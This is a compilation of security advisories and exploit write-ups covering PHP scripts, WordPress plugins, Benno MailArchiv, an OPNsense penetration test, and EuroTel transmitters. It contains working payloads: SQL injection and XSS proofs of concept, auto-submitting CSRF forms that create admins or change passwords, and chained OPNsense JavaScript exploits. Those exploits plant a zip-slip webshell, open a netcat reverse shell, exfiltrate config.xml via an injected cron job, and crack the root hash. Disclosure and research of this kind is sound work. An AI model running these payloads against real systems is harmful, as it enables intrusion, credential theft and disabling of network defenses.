DigaSell Digital Store PHP Script version 1.0.0 suffers from a remote blind SQL injection vulnerability.

    ====================================================================================================================================| # Title     : DigaSell - Digital store PHP Script V1.0.0 Blind Sql Injection Vulnerability                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : https://codecanyon.net/item/digasell-digital-store-php-script/23580305?s_rank=2                                    |  | # Dork      : "Copyright  © DigaSell All Rights Reserved."                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : http://127.0.0.1/codsemcom/digasell/search?term=1 <==== inject here                  [+] Panel       : https://127.0.0.1/codsemcom/digasell/admin/dashboardGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

DigaSell Digital Store PHP Script 1.0.0 SQL Injection

Doma CMS version 1.0 suffers from a cross site scripting vulnerability.

    ==========================================================================================| # Title     : Doma CMS v1.0 xss Vulnerability                                          || # Author    : indoushka                                                                || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)  || # Vendor    : http://www.matstroeng.se/doma/                                           |  | # Dork      : Digital Orienteering Map Archive, version 1.0 | Log in                   |==========================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : %22onmouseover%3d'prompt(1373)'bad%3d%22[+] http://127.0.0.1/doma/users.php/%22onmouseover%3d'prompt(903296)'bad%3d%22Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Doma CMS 1.0 Cross Site Scripting

Desenvolvido C3iM CMS version 2.0 suffers from a cross site scripting vulnerability.

**Desenvolvido C3iM CMS 2.0 Cross Site Scripting**

Posted Aug 10, 2023

Authored by indoushka

Desenvolvido C3iM CMS version 2.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ee75f970e155669b73118332fbaa7e9c33f33900005bfc151805b9ba771cd102

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**Desenvolvido C3iM CMS 2.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Desenvolvido C3iM CMS v2.0 XSS Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : http://c3im.pt/                                                                                                    |  | # Dork      : intext:''Desenvolvido C3iM'' site:pt                                                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://127.0.0.1/conteudo.php?id=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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Desenvolvido C3iM CMS 2.0 Cross Site Scripting

Deprixa version 3.2.5 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : Deprixa 3.2.5 CSRF Vulnerability                                                                                   |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit)                                              |   
| # Vendor    : https://themes-dl.com/nulled-courier-deprixa-pro-integrated-web-system-v3-2-5-free-download/                       |    
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 11.

[+] Set the target site link Save changes and apply . 

[+] infected file : /dashboard/settings/addusersadmin/agregar.php.

   
          <div class="modal fade" id="nuevo" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">  
            <div class="modal-dialog">  
            <div class="modal-content">  
              <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>  
              <h4 class="modal-title" id="myModalLabel"><i class="fa fa-user-plus"></i>New Administrator</h4>  
              </div>  
              <div class="modal-body">  
                
                <form action="https://127.0.0.1/deprixalogisticsonline/dashboard/settings/addusersadmin/agregar.php"  data-parsley-validate novalidate method="post" class="form-horizontal" enctype="multipart/form-data">  
                  <div class="form-group " id="gnombrepa">  
                  <label for="off_name" class="col-sm-2 control-label"></label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control off_name" parsley-trigger="change" required name="name_parson"  placeholder="Administrator Name">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gapellido">  
                  <label for="email" class="col-sm-2 control-label">Email</label>  
                  <div class="col-sm-5">  
                    <input type="text" class="form-control email" name="email"  id="id_mail" placeholder="demo@demo.com" required onKeyUp="javascript:validateMail('id_mail')">  
                    <strong><span id="emailOK"></span></strong>  
                  <p class="error"></p>  
                  </div>  
                  <div class="col-sm-5">  
                    <input class="form-control phone" name="phone" parsley-trigger="change" required placeholder="Phone">                                        
                  </div>  
                  </div>  
                  <div class="form-group" id="gemail">  
                  <label for="office" class="col-sm-2 control-label">Office</label>  
                  <div class="col-sm-5">  
                    <input type="text" class="form-control office" parsley-trigger="change" required name="office"  placeholder="Name of the Office">  
                  </div>  
                  <div class="col-sm-5">  
                  <select type="text" class="form-control role" name="role" >  
                    <option value="Administrator">Administrator</option>                        
                  </select>  
                  </div>  
                  </div>  
                  <div class="form-group " id="gnombre">  
                  <label for="off_name" class="col-sm-2 control-label">User</label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control off_name" parsley-trigger="change" required name="name"  placeholder="Username">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gpassword">  
                  <label for="pwd" class="col-sm-2 control-label">Password</label>  
                  <div class="col-sm-10">  
                    <input type="text" class="form-control pwd" parsley-trigger="change" required name="pwd"  placeholder="Password">  
                  </div>  
                  </div>  
                  </br></br>  
                  <div class="col-sm-offset-2 col-sm-10">  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="estado" value="1" onclick="return false" checked >  
                      <i></i>  
                      State                      </label>  
                    </div>  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="type" value="a" onclick="return false" checked >  
                      <i></i>  
                      User Type                      </label>  
                    </div>  
                  </div>

                                      
                </div>  
                 </br></br>  
                <div class="modal-footer">  
                  <button type="button" class="btn btn-default" data-dismiss="modal"><i class="fa fa-times"></i>  
                    Close</button>  
                  <input class="btn btn-success" name="Submit" type="submit"  id="submit" value="Save">  
                </div>  
              </form>                                
            </div>  
            </div>  
          </div>

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |  
=======================================================================================================================================

Deprixa 3.2.5 Cross Site Request Forgery

The EmbedPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'embedpress_calendar' shortcode in versions up to, and including, 3.8.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-4283: Changeset 2950211 for embedpress – WordPress Plugin Repository

The Realia plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.4.0. This is due to missing nonce validation on the 'process_change_profile_form' function. This makes it possible for unauthenticated attackers to change user email via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVE-2023-4277: class-realia-post-type-user.php in realia/tags/1.4.0/includes/post-types – WordPress Plugin Repository

The Absolute Privacy plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.1. This is due to missing nonce validation on the 'abpr_profileShortcode' function. This makes it possible for unauthenticated attackers to change user email and password via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

1<?php2global $userdata;34/\*\*5 \* First we'll run the shortcode that displays the login form6 \* if the user isn't logged in. Otherwise it displays a logout link.7 \* This shortcode is found in Absolute Privacy's functions.php file8 \*/9echo do\_shortcode( '\[loginform\]' );1011/\*\*12 \* We'll only show any of this profile updating form if the user is logged in.13 \*/14if ( is\_user\_logged\_in() ) :15        require\_once( ABSPATH . WPINC . '/registration.php' ); //this file is needed for functions used below1617        $user\_id \= $userdata\->ID; //reassign the username variable to ensure everything is up to date18        $errors \= false;1920        if ( isset( $\_POST\['wp-submit'\] ) ) { // The form has been submitted2122                /\* Here we check for errors. We'll throw an error if the user has23                 \* left the first name, last name, or email address empty.24                 \*/25                if ( empty( $\_POST\['first\_name'\] ) || empty( $\_POST\['last\_name'\] ) || empty( $\_POST\['user\_email'\] ) ) {26                        $errors \= \_\_( 'You must enter a value for first name, last name, and email address.', 'absprivacy' );27                }282930                /\* Here we check if the user is trying to submit a new password.31                 \* We only update the password if there are no previous errors,32                 \* and if both inputted passwords match.33                 \*/34                if ( isset( $\_POST\['password'\] ) && false \=== $errors && ! empty( $\_POST\['password'\] ) ) {35                        if ( strtolower( $\_POST\['password'\] ) !== strtolower( $\_POST\['password2'\] ) || empty( $\_POST\['password2'\] ) ) {36                                $errors \= \_\_( 'Your passwords do not match.', 'absprivacy' );37                        } else {38                                wp\_set\_password( $\_POST\['password'\], $user\_id );39                        }40                }4142                if ( false \=== $errors ) { //no errors, so lets update the user43                        wp\_update\_user(44                                array(45                                     'ID'         \=> $user\_id,46                                     'first\_name' \=> htmlentities( trim( $\_POST\['first\_name'\] ) ),47                                     'last\_name'  \=> htmlentities( trim( $\_POST\['last\_name'\] ) ),48                                     'user\_email' \=> htmlentities( trim( $\_POST\['user\_email'\] ) )49                                )50                        );5152                        echo '<p class="profile\_updated"><em>' . \_\_( 'Your profile has been updated', 'absprivacy' ) . '</em></p>';53                } else {54                        echo '<p class="profile\_errors"><strong>ERROR:</strong> ' . $errors . '</p>';55                }56        }5758        $user \= new WP\_User( $user\_id ); // use this instead of $userdata so that the changes are reflected after a user updates the form59        ?>606162        <p><?php \_e( 'You may edit your profile using the form below.', 'absprivacy' ); ?></p>6364        <form name="profileform" action="" method="post">6566                <p>67                        <label for="first\_name"><?php \_e( 'First Name', 'absprivacy' ); ?></label>68                        <input type="text" name="first\_name" id="first\_name" class="input" value="<?php echo $user\->first\_name; ?>"69                               size="30" tabindex="10"/>70                </p>7172                <p>73                        <label for="last\_name"><?php \_e( 'Last Name', 'absprivacy' ); ?></label>74                        <input type="text" name="last\_name" id="last\_name" class="input" value="<?php echo $user\->last\_name; ?>"75                               size="30" tabindex="20"/>76                </p>777879                <p>80                        <label for="user\_email"><?php \_e( 'Email Address', 'absprivacy' ); ?></label>81                        <input type="text" name="user\_email" id="user\_email" class="input" value="<?php echo $user\->user\_email; ?>"82                               size="40" tabindex="30"/>83                </p>8485                <p><?php \_e( 'You may also change your password (optional).', 'absprivacy' ); ?></p>8687                <p>88                        <label for="password"><?php \_e( 'Password', 'absprivacy' ); ?></label>89                        <input type="password" name="password" id="password" class="input" value="" size="20" tabindex="40"/> <br/>90                        <label for="password2"><?php \_e( 'And Again', 'absprivacy' ); ?></label>91                        <input type="password" name="password2" id="password2" class="input" value="" size="20" tabindex="50"/>92                </p>9394                <input type="submit" name="wp-submit" id="wp-submit" class="button-primary" value="<?php \_e( 'Submit Changes', 'absprivacy' ); ?>" tabindex="100"/>95        </form>96<?php endif; ?>

CVE-2023-4276: profile_page.php in absolute-privacy/trunk – WordPress Plugin Repository

A CSRF issue was discovered in LWsystems Benno MailArchiv 2.10.1.

August 9, 2023

The Benno MailArchiv Web-App (benno-web prior 2.1.0.2) is vulnerable to Cross-Site-Request-Forgery.

To exploit the vulnerability the attacker sends a link to a prepared page to a Benno MailArchiv user. The link then is able to trigger actions in the name of the user such as changing the users password (if the user is logged in).

<form action="https://benno.host/admin.php?CA=changePassword" method="post">
<input type="text" name="CA" value="savePassword">
<input type="password" class="input\_text" name="data\[password0\]" value="test123">
<input type="password" class="input\_text" name="data\[password1\]" value="test123">
<input type="password" class="input\_text" name="data\[addresses\]" value='\[{"value":"\*@\*"}\]'>

</form>

<script>
  document.forms\[0\].submit();
</script>

CVE-2023-38348: XSRF in Benno MailArchiv Web-App (benno-web < 2.10.2) (CVE-2023-38348)

A command injection vulnerability in the component /api/cron/settings/setJob/ of OPNsense before 23.7 allows attackers to execute arbitrary system commands.

Recently we performed a non-profit penetration test of OPNsense - an open source, FreeBSD based firewall and routing platform with ~51.47K active instances according to censys.io. The assessment was focused on web GUI and API as well as some parts of the system backend. Work has been carried out in a period from June 12 to June 26, 2023. In total, around 120 hours were committed to the project.

During the test we managed to find many interesting and varied vulnerabilities, e.g., Cross-Site Scripting, Cross-Site Request Forgery, Open Redirect, Insecure Permissions, OS Command Injection and Zip-Slip which eventually leads to root shell. You can find all of them in the Full PDF Report which is also a great example of what our commercial clients receive.

We would like to show you three scenarios of how vulnerabilities that we found could be chained together to perform attacks on the OPNsense instance.

**Scenario 1 - Reflected XSS leads to root RCE via Zip-Slip**

In this scenario we used Reflected Cross-Site Scripting vulnerability (LT-0017) to deliver our payload to the administrator. Sending GET request to https://opnsense/ui/cron/item/open/0'+alert(window.origin)+' would result in the following response:

    <!doctype html>
    <html lang="en-US" class="no-js">
      <head>
    [...]
    <script>
    [...]
    	openDialog('0'+alert(window.origin)+'');
    [...]

After an administrator clicks on our link, we need to send six requests from their browser. First two requests create new Captive Portal template, another three enable Captive Portal with the selected template, and the last one spawns netcat reverse shell with our brand-new luta.php webshell.

**Example Javascript payload:**

    let requestData = {"name":"zipslip","content":"UEsDBAoAAAAAAJOO5VYdoS5KEAAAABAAAAA3ABwALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUCQADxZGlZPyPpWR1eAsAAQQAAAAABAAAAAA8Pz1gJF9HRVRbeF1gPz4KUEsDBAoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABwAY3NzL1VUCQADKpGlZCuRpWR1eAsAAQToAwAABOgDAABQSwMEFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAHABleGNsdWRlLmxpc3RVVAkAA/B0pWSLkaVkdXgLAAEE6AMAAAToAwAAjY8xbsMwDEV3nYJAhk5RgN6gd+gFZJeSmVKiQdJRffvKKbpk8sjPx/8/L/C5kAGTOczSPFEz8AUhE2NLFY8pOdS0QxOHCUEeqF3JHRtM+xPeDBX6MoRZMTm1AvNmLhUc68rJ0WK4wAcz0FAMqI27/9wu7e3pPC4Uv/6WeNTJVOJP5SNGNoWso1AX/Q6z2W0ScXNNaxxTrGl9USu1YxPyeMtuhfd1oeFp1yVx5tHRropl46QRxc9g9ihnMPd8BuuST3Pv4f762t3CL1BLAwQKAAAAAABEjuVWAAAAAAAAAAAAAAAABgAcAGZvbnRzL1VUCQADL5GlZDCRpWR1eAsAAQToAwAABOgDAABQSwMECgAAAAAASo7lVgAAAAAAAAAAAAAAAAcAHABpbWFnZXMvVVQJAAM8kaVkQZGlZHV4CwABBOgDAAAE6AMAAFBLAwQKAAAAAABTjuVW5yL1pwQAAAAEAAAACgAcAGluZGV4Lmh0bWxVVAkAA06RpWSLkaVkdXgLAAEE6AMAAAToAwAAcG9jClBLAwQKAAAAAABPjuVWAAAAAAAAAAAAAAAAAwAcAGpzL1VUCQADRZGlZEaRpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACTjuVWHaEuShAAAAAQAAAANwAYAAAAAAABAAAApIEAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUBQADxZGlZHV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABgAAAAAAAAAEADtQYEAAABjc3MvVVQFAAMqkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAGAAAAAAAAQAAAICBvwAAAGV4Y2x1ZGUubGlzdFVUBQAD8HSlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAESO5VYAAAAAAAAAAAAAAAAGABgAAAAAAAAAEADtQc8BAABmb250cy9VVAUAAy+RpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAABKjuVWAAAAAAAAAAAAAAAABwAYAAAAAAAAABAA7UEPAgAAaW1hZ2VzL1VUBQADPJGlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAFOO5VbnIvWnBAAAAAQAAAAKABgAAAAAAAEAAACAgVACAABpbmRleC5odG1sVVQFAANOkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAT47lVgAAAAAAAAAAAAAAAAMAGAAAAAAAAAAQAO1BmAIAAGpzL1VUBQADRZGlZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAABwAHAEsCAADVAgAAAAA="}
    ajaxCall("/api/captiveportal/service/saveTemplate", requestData, () => {
    	ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
    		ajaxCall("/api/captiveportal/service/searchTemplates", {"current":1,"rowCount":7,"sort":{},"searchPhrase":"zipslip"}, (data, status) => {
    			let requestData = {"zone":{"enabled":"1","interfaces":"lan","authservers":"Local Database","alwaysSendAccountingReqs":"0","authEnforceGroup":"","idletimeout":"0","hardtimeout":"0","concurrentlogins":"1","certificate":"","servername":"","allowedAddresses":"","allowedMACAddresses":"","transparentHTTPProxy":"0","transparentHTTPSProxy":"0","extendedPreAuthData":"0","template":data.rows[0].uuid,"description":"poc"}}
    			ajaxCall("/api/captiveportal/settings/addZone/", requestData, () => {
    				ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
    					ajaxCall("/luta.php?x=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.118 1337 >/tmp/f", null, null)
    				})
    			})
    		})
    	})
    })

Above script can be base64 encoded and put inside the URL:

    https://opnsense/ui/cron/item/open/0'+eval(atob('bGV0IHJlcXVlc3REYXRhID0geyJuYW1[...]gkJCQl9KQoJCQl9KQoJCX0pCgl9KQp9KQo='))+'

What’s interesting is that the application accepts templates in ZIP format, and then it extracts all of their contents to the template directory. However, the way in which the application extracts the files makes it vulnerable to the Zip-Slip attack (LT-0014):

    # source: src/opnsense/scripts/OPNsense/CaptivePortal/overlay_template.py
    with zipfile.ZipFile(input_data, mode='r', compression=zipfile.ZIP_DEFLATED) as zf_in:
        for zf_info in zf_in.infolist():
            if zf_info.filename[-1] != '/':
                target_filename = '%s%s' % (target_directory, zf_info.filename)
                file_target_directory = '/'.join(target_filename.split('/')[:-1])
                if not os.path.isdir(file_target_directory):
                    os.makedirs(file_target_directory)
                with open(target_filename, 'wb') as f_out:
                    f_out.write(zf_in.read(zf_info.filename))
                os.chmod(target_filename, 0o444)

By using ../ sequences it is possible to extract files to other directories. This allows us to extract PHP file to the web root - /usr/local/www.

Our ZIP archive looks like this, where luta.php is a simple PHP web shell:

    Archive:  zipslip.zip
      Length      Date    Time    Name
    ---------  ---------- -----   ----
           16  2023-07-05 17:52   ../../../../../../../../../../../usr/local/www/luta.php
            0  2023-07-05 17:50   css/
          445  2023-07-05 15:49   exclude.list
            0  2023-07-05 17:50   fonts/
            0  2023-07-05 17:50   images/
            4  2023-07-05 17:50   index.html
            0  2023-07-05 17:50   js/
    ---------                     -------
          465                     7 files

Since the PHP process is being ran as a root user, the shell is granted root privileges as well.

**Proof of Concept Video:****Scenario 2 - Reflected XSS -> OS Command Injection -> root password retrieval via config.xml insecure permissions**

In the second scenario the payload is also delivered through Reflected XSS, but this time the vulnerability is introduced in Certificates tab (LT-0002). Sending request to https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=alert(window.origin)%3E&id=0 results in the following response body:

    <!doctype html>
    <html lang="en-US" class="no-js">
    [...]
    <form method="post" name="iform" id="iform"><input type="hidden" name="N3p4b1ZZUXpTc2VFWmFaLzRHQW5Ydz09" value="VUlyWVI0bWkyYkdjWDNvVGprQ1F2UT09" autocomplete="new-password" />
      <input type="hidden" name="id" id="id" value="0"/>
      <input type="hidden" name="act" id="action" value=""><svg/onload=alert(window.origin)>"/>
    </form>
    [...]

We want to send request to /api/cron/settings/addJob/ in order to add new cron job. The application allows only specific commands to be executed via cron, however, by including single quotes (') and newline character (\n) in the command parameters, we can define completely separate cron job and execute any command as nobody user (LT-0016).

**Example Javascript payload:**

    let requestData = {"job":{"enabled":"1","minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"firmware auto-update","parameters":"'\n*\t*\t*\t*\t* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'","description":"poc2"}}
    setTimeout(() => {
    	ajaxCall("/api/cron/settings/addJob/", requestData, () => {
    		ajaxCall("/api/cron/service/reconfigure", {}, () => {
    		})
    	})
    }, 1000)

…and turned into an URL:

    https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0

After the administrator opens the link, we can see our command added to the crontab:

    root@OPNsense:~ # cat /var/cron/tabs/nobody
    # DO NOT EDIT THIS FILE -- OPNsense auto-generated file
    #
    # User-defined crontab files can be loaded via /etc/cron.d
    # or /usr/local/etc/cron.d and follow the same format as
    # /etc/crontab, see the crontab(5) manual page.
    SHELL=/bin/sh
    PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    #minute	hour	mday	month	wday	command
    # Origin/Description: cron/poc2
    *	*	*	*	*	/usr/local/sbin/configctl -d firmware auto-update '
    *	*	*	*	* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'

In the above payload we are adding next vulnerability to the chain - even though we only have privileges of user nobody, insecure permissions (LT-0003) grant us read access to the configuration file:

    root@OPNsense:/conf # ls -la
    total 112
    drwxr-xr-x   4 root  wheel    512 Jul 31 12:41 .
    drwxr-xr-x  21 root  wheel   1024 Jul 31 12:44 ..
    drwxr-xr-x   2 root  wheel   4096 Jul 31 14:13 backup
    -rw-r-----   1 root  wheel  49152 Jul 31 12:41 captiveportal.sqlite
    -rw-r--r--   1 root  wheel  39796 Jul 31 14:13 config.xml
    -rw-r-----   1 root  wheel    383 Jul 31 12:41 dhcpleases.tgz
    -rw-r-----   1 root  wheel     40 Jul 31 14:13 event_config_changed.json
    drwxr-xr-x   2 root  wheel    512 Jul  5 12:40 sshd

Soon config.xml is sent to our listener:

    feliks@debian ~> nc -lkp 1337
    POST / HTTP/1.1
    Host: 192.168.1.118:1337
    User-Agent: curl/7.87.0
    Accept: */*
    Content-Length: 39119
    Content-Type: multipart/form-data; boundary=------------------------06c60d07c2a2ae1e
    
    --------------------------06c60d07c2a2ae1e
    Content-Disposition: form-data; name="config"; filename="config.xml"
    Content-Type: application/xml
    
    <?xml version="1.0"?>
    <opnsense>
      <theme>opnsense</theme>
      <sysctl>
    [...]
        <user>
          <name>root</name>
          <descr>System Administrator</descr>
          <scope>system</scope>
          <groupname>admins</groupname>
          <password>$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS</password>
          <uid>0</uid>
        </user>
    [...]

Congratulations, it’s a bcrypt hash of a root password!

Finally, we feed it to hashcat:

    feliks@debian ~> hashcat -m 3200 '$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS' -a 0 wordlist.txt
    hashcat (v6.1.1) starting...
    
    [...]
    
    $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS:opnsense
                                                     
    Session..........: hashcat
    Status...........: Cracked
    Hash.Name........: bcrypt $2*$, Blowfish (Unix)
    Hash.Target......: $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY...1TwBfS
    Time.Started.....: Mon Jul 31 17:04:47 2023 (0 secs)
    Time.Estimated...: Mon Jul 31 17:04:47 2023 (0 secs)
    Guess.Base.......: File (wordlist.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........:       10 H/s (3.82ms) @ Accel:2 Loops:64 Thr:1 Vec:8
    Recovered........: 1/1 (100.00%) Digests
    Progress.........: 6/6 (100.00%)
    Rejected.........: 0/6 (0.00%)
    Restore.Point....: 0/6 (0.00%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
    Candidates.#1....: luta -> opnsense
    
    Started: Mon Jul 31 17:04:13 2023
    Stopped: Mon Jul 31 17:04:48 2023

**Scenario 3 - CSRF that halts the firewall**

This one is quite straightforward. Administrator visits our website, from which we redirect them to https://opnsense/api/core/system/halt, to turn off the instance. Normally, this request is made using POST method and requires CSRF token, but during the test it turned out that the app accepts GET request as well, and in such case doesn’t require CSRF token.

As a result, the OPNsense instance turns off.

**Proof of Concept Video:****Closing thoughts**

We reported found vulnerabilities to OPNsense maintainers and we really want to thank them for a great response. They handled the whole process very professionally, quickly prepared effective patches for many vulnerabilities and included them in the newest release - OPNsense 23.7 “Restless Roadrunner”. Also, they provided us with reasoning behind decision to not patch some of them right now.

We are very happy about the outcome of the tests and can’t wait to start another project like this soon. Stay tuned!

**Full list of found vulnerabilities**

1.  LT-0001: Using GET method to modify application state
2.  LT-0002: Reflected Cross-Site Scripting - Certificates - act
3.  LT-0003: Insecure directory permissions - /conf/
4.  LT-0004: Reflected Cross-Site Scripting - Log Files - /ui/diagnostics/log/core/
5.  LT-0005: Open Redirect - Login
6.  LT-0006: Services run as root
7.  LT-0007: Insecure temporary file storage - /tmp/ usage
8.  LT-0008: Command injection - Backups - diag\_backup.php
9.  LT-0009: Custom message injection - system\_usermanager.php
10.  LT-0010: Improper error handling
11.  LT-0011: Lack of input sanitization - crash\_reporter.php
12.  LT-0013: Insecure permissions - configd.socket
13.  LT-0014: Zip-slip in Captive Portal template upload leads to Remote Code Execution
14.  LT-0015: Verbose error messages
15.  LT-0016: Command injection - Cron - /api/cron/settings/setJob/
16.  LT-0017: Reflected Cross-Site Scripting - Cron - /ui/cron/item/open/

**Timeline**

*   27.06.2023 Vulnerabilities reported to OPNsense
*   27.06.2023 Report acknowledged
*   28.06 - 05.07.2023 Vendor fixed the vulnerabilities
*   12.07 Retest
*   17.07.2023 End of vulnerabilities disclosure process - reported issues are fixed or otherwise handled
*   31.07.2023 OPNsense 23.7 Released

CVE-2023-39008: LogicalTrust - [EN] A-Z: OPNsense - Penetration Test

The EuroTel ETL3100 TV and FM transmitters suffer from an unauthenticated configuration and log download vulnerability. This will enable the attacker to disclose sensitive information and help him in authentication bypass, privilege escalation and full system access.

    EuroTel ETL3100 Transmitter Unauthenticated Config/Log Download VulnerabilityVendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.LProduct web page: https://www.eurotel.it | https://www.siel.fmAffected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter)                   v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter)Summary: RF Technology For Television Broadcasting Applications.The Series ETL3100 Radio Transmitter provides all the necessaryfeatures defined by the FM and DAB standards. Two bands are providedto easily complain with analog and digital DAB standard. The SeriesETL3100 Television Transmitter provides all the necessary featuresdefined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, aswell as the analog TV standards. Three band are provided to easilycomplain with all standard channels, and switch softly from analog-TV'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission.Desc: The TV and FM transmitter suffers from an unauthenticatedconfiguration and log download vulnerability. This will enablethe attacker to disclose sensitive information and help him inauthentication bypass, privilege escalation and full system access.Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3)           lighttpd/1.4.26           PHP/5.4.3           Xilinx Virtex MachineVulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2023-5784Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5784.php29.04.2023--$ curl http://192.168.2.166/cfg_download.php -o config.tgz$ curl http://192.168.2.166/exciter/log_download.php -o log.tar.gz

Tag

#php